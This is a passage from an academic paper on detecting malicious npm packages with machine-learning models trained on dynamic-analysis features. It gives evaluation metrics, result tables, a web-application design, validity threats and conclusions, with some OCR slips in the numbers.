False Positive Rate (FPR) The proportion of all negatives that | Lower ~ FPR  means  better
still yield positive test outcomes performance

Precision A metric that measures how often | Higher precision means better
a machine learning model correctly | performance
predicts the positive class.

Recall A metric that measures how often a | Higher recall means better
machine learning model correctly | performance
identifies positive instances (true
positives) from all the actual
positive samples in the dataset

F1 Score The harmonic mean of the precision | Higher FI score means better
and recall of a classification model | performance

Receiver Operating | A graph showing the performance

Characteristic (ROC) | of a classification model at all

curve classification thresholds.

Area under the ROC Curve | AUC measures the entire two-

(AUC) dimensional area underneath the
entire ROC curve

Table 13: Evaluation metrics used in evaluating the machine
learning models in this paper.

6.4 Evaluation

In the evaluation phase, we employ 10-fold cross-validation,
which randomly divides the data into ten parts. At each
iteration, 10% of the data is held out for testing, as described
by Kohavi [30]. This process is repeated ten times, after which
the mean accuracy of the algorithm is calculated. Tables 14 and
15 report the performance of each machine learning model using
10-fold cross-validation.

6.5 Results

Figure 8 presents the Receiver Operating Characteristic
(ROC) curves for all models. Overall, the curves lean towards
the top-left corner, indicating that our predictive models are
highly accurate in classifying benign and malicious open-source
packages. Tree-based classifiers outperform the other models,
particularly when boosting techniques are applied. Notably,
three of the top-performing machine learning models listed in
Tables 14 and 15 are tree-based. As shown in Figure 8, Logistic
Regression and Gaussian-based classifiers exhibit the lowest
performance among the evaluated models.

Tables 14 and 15 present the top-performing machine
learning models ranked by AUC. The models achieve strong
results on both training and testing sets across all evaluation
metrics, indicating they do not suffer from overfitting. For
example, the difference between the median AUC of all
models in the training and testing phases is 0.004, which is
relatively small. However, the false negative rates are slightly
higher than the false positive rates, suggesting that the models
occasionally fail to detect malicious packages. This indicates
that additional information about the packages may be required
to improve classification accuracy. Furthermore, the models
achieve an average accuracy of 0.923, which aligns well with
the expectations of package repository maintainers [57].

While the accuracy of the models is not practically optimal, as
shown by the average values in Table 14 (0.8935) and Table 15
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Figure 8: ROC Curves of the Machine Learning Models

(0.8898), their precision and recall values in the training phase
exceed 90%. These results are promising and suggest that even
with a relatively small sample size, it is feasible to develop
effective predictive models for classifying malicious and benign
packages.

Machine Learning Model Accuracy Precision Recall F1 FPR FNR AUC
DecisionTreeClassifier 0.8940 0.9005 0.9015 0.8940 0.0199 0.1772 09116
ExtraTreesClassifier 0.8940 0.9005 0.9015 0.8940 0.0199 0.1772 09116
HistGradientBoostingClassifier 0.8933 0.8994 0.9006 0.8933 0.0226 0.1762 0.9112
BaggingClassifier 0.8937 0.8999 0.9011 0.8937 0.0216 0.1762 0.9111
RandomForestClassifier 0.8940 0.9003 0.9014 0.8940 0.0207 0.1765 0.9111
GradientBoostingClassifier 0.8934 0.8990 0.9005 0.8934 0.0247 0.1744 09110
KNeighborsClassifier 0.8922 0.8988 0.8998 0.8922 0.0214 0.1791 0.9092

Table 14: Performance of the Top Machine Learning Models on
the Training Set.

Model Accuracy Precision Recall F1 FPR FNR AUC
HistGradientBoostingClassifier 0.8897 0.8961 0.8966 0.8894 0.0263 0.1805 0.9103
RandomForestClassifier 0.8907 0.8968 0.8975 0.8904 0.0263 0.1787 0.9102
ExtraTreesClassifier 0.8904 0.8968 0.8973 0.8901 0.0258 0.1797 0.9099
GradientBoostingClassifier 0.8892 0.8950 0.8958 0.8889 0.0297 0.1786 0.9092
BaggingClassifier 0.8882 0.8946  0.8950 0.8879 0.0281 0.1819 0.9087
KNeighborsClassifier 0.8909 0.8981 0.8980 0.8906 0.0221 0.1819 0.9081
DecisionTreeClassifier 0.8894 0.8960 0.8964 0.8891 0.0258 0.1814 0.9081

Table 15: Performance of the Top Machine Learning Models on
the Validation Set.

7 Developing a Web Application

This section describes our web application designed to
automatically detect malicious open-source packages using a
trained machine learning model based on results from the
package-analysis tool.
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7.1 Components of the Application

The program comprises three main components: the web
application, package-analysis, and the machine learning model,
each playing a critical role in the system’s operational workflow.
Figure 9 illustrates the execution process of these components.

The web application serves as the primary interface and the
main point of interaction for users. It collects information about
the source code that users wish to analyze and forwards these
requests to the server. The server employs package-analysis
to analyze the source code and extract key features. These
extracted features are then passed to a pre-trained machine
learning model for data classification.

We employ the XGBClassifier algorithm as the machine
learning component of the web application. This model
demonstrates strong performance in classifying malicious
and benign open-source packages across various metrics, as
discussed in Section 5.

Figure 10 presents the interface of our web application. The
main interface, depicted in Figure 10a, allows users to initiate
an analysis by providing information about the open-source
package, including the package name, version, and registry
details. Currently, the application supports packages exclusively
from the npm ecosystem. Figure 10b shows the interface during
the analysis process, where the package-analysis tool extracts
raw data. This raw data is then preprocessed and input into the
trained machine learning model, which predicts the likelihood
of a package being benign, as illustrated in Figure 10c.

WEB/APP

ML-MODEL

Figure 9: Components of our developed Web Application to
classify benign and malicious open-source packages

8 Threats to Validity

This section outlines the factors that may have influenced the
validity of our work.

We considered only the top 1,000 npm packages as benign,
out of over two million available packages in the npm
ecosystem. A more comprehensive analysis of the ecosystem
and the training of machine learning models would require a
significantly larger dataset.

Our machine learning models focus specifically on JavaScript
packages within npm, particularly JavaScript files. Extending
this approach to other interpreted languages and file types,
such as Python/PyPI and Ruby/RubyGems, appears feasible.
This would require the collection of additional samples from
repositories such as the Python Package Index (PyPI) and
training the models on those samples.

1JCA, Vol. 31, No. 4, December 2024

The malicious dataset used in our study may not fully
represent malicious packages encountered in the wild, as not all
malicious npm packages are publicly disclosed. Vulert, Vulners,
and OSV provide some of the largest available repositories of
malicious packages for researchers, but these repositories may
not capture all threats in the ecosystem.

We rely on package-analysis to extract features from
packages. However, as noted in our prior observations [36],
package-analysis is ineffective at analyzing packages during
the installation phase. This limitation hinders our ability
to capture certain behavioral characteristics of open-source
packages. Additionally, the dynamic analysis tool package-
analysis currently operates only on Linux-based systems. This
restriction is due to its sandbox environment, which supports
Linux exclusively. Future work will focus on extending the
sandbox environment to support additional operating systems,
such as Windows and macOS. This would involve modifications
to accommodate other file formats, such as Portable Executable
files for Windows.

9 Limitations and Future Work

Currently, our analysis of open-source package behaviors
is limited to the Linux environment, as package-analysis
supports only a Linux sandbox. Our next step is to extend its
functionality to support the Windows environment, which will
require the development of a Windows kernel and associated
utilities. Furthermore, significant engineering efforts will be
necessary to improve the analysis completion rates of package-
analysis, particularly during the installation phase, as illustrated
in Figure 3.

In our study, we observed that package-analysis performs
suboptimally during the installation phase, as shown in Figure 3.
This limitation may hinder our ability to fully assess the
behaviors of all packages in the studied repositories. To address
this, we plan to investigate the package-analysis logs to identify
and resolve the underlying errors.

It is important to note that our analysis using package-
analysis does not directly determine whether a package is
malicious. Users of the tool must manually examine the raw
results it generates to make informed decisions. A promising
future direction is to apply machine learning techniques to the
raw data generated by package-analysis and stored on Google
BigQuery [3]. Features such as executed commands, domain
URLs, and IP addresses could provide valuable inputs for
machine-learning-based approaches to malware detection.

10 Conclusion

In this paper, we have conducted an in-depth analysis of
a dynamic analysis tool called package-analysis, focusing on
its sandboxing techniques and results. ~We examined the
raw outputs of package-analysis for open-source packages in
popular repositories to identify common malicious behaviors.
Our analysis reveals that malicious packages often employ
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Figure 10: The Web application interface

simple techniques such as base64 encoding for data obfuscation
and curl for data transfer. Furthermore, compared to benign
packages, malicious packages exhibit significantly higher levels
of activity in command execution and domain communication.

We propose a machine learning-based approach to classify
packages as benign or malicious. This approach leverages
features extracted through dynamic analysis, including executed
commands, IP addresses, and domain interactions. Using
a dataset of benign and malicious packages, we applied
17 machine learning models available in scikit-learn. Our
evaluation demonstrates that these models perform well across
various metrics, with particularly strong results in minimizing
false positive rates.

As part of future work, we plan to explore additional
features, such as those derived from static analysis, to enhance
the performance of the machine learning models. We also
aim to expand the evaluation to include packages from other
ecosystems, such as PyPI and RubyGems, which will require
significant effort in curating additional datasets, particularly
malicious ones.

To facilitate practical deployment, we intend to integrate our
machine learning models into existing package repositories,
such as PyPI, or provide a standalone third-party tool for
detecting malicious code in open-source packages. This will
involve developing a new malware detection system capable
of efficiently and effectively scanning open-source packages in
real-time.
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